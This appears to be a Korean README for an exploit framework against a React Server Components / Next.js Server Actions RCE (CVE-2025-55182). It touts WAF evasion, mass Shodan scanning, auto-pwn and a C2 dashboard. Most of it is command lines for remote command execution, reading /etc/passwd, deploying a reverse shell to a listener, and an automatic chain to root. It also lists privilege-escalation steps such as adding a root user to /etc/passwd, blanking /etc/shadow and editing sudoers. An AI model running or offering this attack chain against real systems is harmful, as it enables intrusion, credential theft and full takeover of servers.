
CVE-2025-55182(React Server Components RCE)를 위한 엘리트 익스플로잇 툴킷. 비동기 폴리모픽 페이로드, 고급 WAF/CDN 우회, 프록시 로테이션, Shodan/Censys 대량 스캔, 자동 펀 + 리버스 셸, Nuclei 템플릿, K8s 실습 환경 및 C2 대시보드. 작성자: Sudeepa Wanigarathna – 승인된 레드 팀 및 침투 테스트 전용.
██████╗ ███████╗██████╗ ██████╗ ███████╗██████╗ ██╗ ██╗
██╔════╝ ██╔════╝██╔══██╗██╔══██╗██╔════╝██╔══██╗██║ ██║
██║ █████╗ ██████╔╝██████╔╝█████╗ ██████╔╝██║ ██║
██║ ██╔══╝ ██╔══██╗██╔══██╗██╔══╝ ██╔══██╗██║ ██║
╚██████╗ ███████╗██║ ██║██████╔╝███████╗██║ ██║╚██████╔╝
╚═════╝ ╚══════╝╚═╝ ╚═╝╚═════╝ ╚══════╝╚═╝ ╚═╝ ╚═════╝
React2Shell Exploitation Framework v1.0
Author: Sudeepa Wanigarathna
Next.js Server Actions RCE 취약점(React2Shell)을 위한 전문가급 익스플로잇 프레임워크입니다. 초기 접근부터 루트 권한 상승까지 완전한 공격 체인을 시연합니다.
기능:
# 취약점 확인
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --check
# 명령 실행
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --cmd "id"
python3 interactive_shell.py --target http://127.0.0.1:3000
# 전체 익스플로잇: RCE → 정보 수집 → 루트 접근
python3 demo_exploit.py --target http://127.0.0.1:3000 --auto-root
Cerberus-React2Shell-Hades/
├── react2shell_exploit.py # 핵심 익스플로잇 엔진 (400+ 줄)
├── demo_exploit.py # 자동 공격 체인 (290+ 줄)
├── interactive_shell.py # 대화형 셸 (280+ 줄)
├── reverse_shell_handler.py # 리버스 셸 리스너 (180+ 줄)
├── post_exploit/
│ ├── linux_enum.py # 시스템 정보 수집 (330+ 줄)
│ ├── priv_esc.py # 권한 상승 (320+ 줄)
│ └── __init__.py
├── EXPLOITATION_GUIDE.md # 전체 사용 설명서
├── QUICKSTART.md # 빠른 참조
└── BANNER.txt
# 취약점 확인
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --check
# 명령 실행
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --cmd "whoami"
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --cmd "cat /etc/passwd"
# 다른 페이로드 변형
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --cmd "id" --variant spawn
# 난독화 사용
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --cmd "id" --obfuscate
# 셸 실행
python3 interactive_shell.py --target http://127.0.0.1:3000
# 사용 가능한 명령어:
# - execute <cmd> : 셸 명령 실행
# - enum : 전체 정보 수집 실행
# - escalate : 권한 상승 시도
# - upload <local> <remote> : 파일 업로드
# - download <remote> <local>: 파일 다운로드
# - shell <lhost> <lport>: 리버스 셸 배포
# - info : 세션 정보 표시
# - exit : 종료
# 터미널 1: 리스너 시작
python3 reverse_shell_handler.py --lport 4444
# 터미널 2: 셸 배포
python3 react2shell_exploit.py --target http://127.0.0.1:3000 \
--revshell --lhost 127.0.0.1 --lport 4444 --shell-type bash
# 전체 체인: 탐지 → RCE → 정보 수집 → 루트
python3 demo_exploit.py --target http://127.0.0.1:3000 --auto-root
프레임워크는 완전한 6단계 익스플로잇 체인을 구현합니다:
id 명령으로 코드 실행 확인/etc/shadow 읽기 및 /root 목록화로 루트 접근 증명SUID 바이너리 (GTFOBins)
쓰기 가능한 /etc 파일
/etc/passwd - 새 루트 사용자 추가/etc/shadow - 루트 암호 제거/etc/sudoers - NOPASSWD sudo 부여Docker 탈출
커널 익스플로잇
Linux Capabilities
pip install -r requirements.txt
종속성:
EXPLOITATION_GUIDE.md - 예제가 포함된 전체 사용 가이드QUICKSTART.md - 일반 명령어에 대한 빠른 참조경고: 이 도구는 공인된 보안 테스트 전용입니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 소유한 시스템이나 명시적인 서면 허가를 받은 시스템에서만 사용하십시오.
저자는 이 도구의 오용에 대해 책임지지 않습니다. 사용에 따른 위험은 본인이 감수해야 합니다.
이 프레임워크는 다음을 위해 설계되었습니다:
MIT 라이선스 (교육 목적 전용)
Sudeepa Wanigarathna
버전: 1.0
마지막 업데이트: 2025년 12월
실험실 상태: http://127.0.0.1:3000 (실행 중)
자세한 사용 방법은 EXPLOITATION_GUIDE.md를 참조하십시오.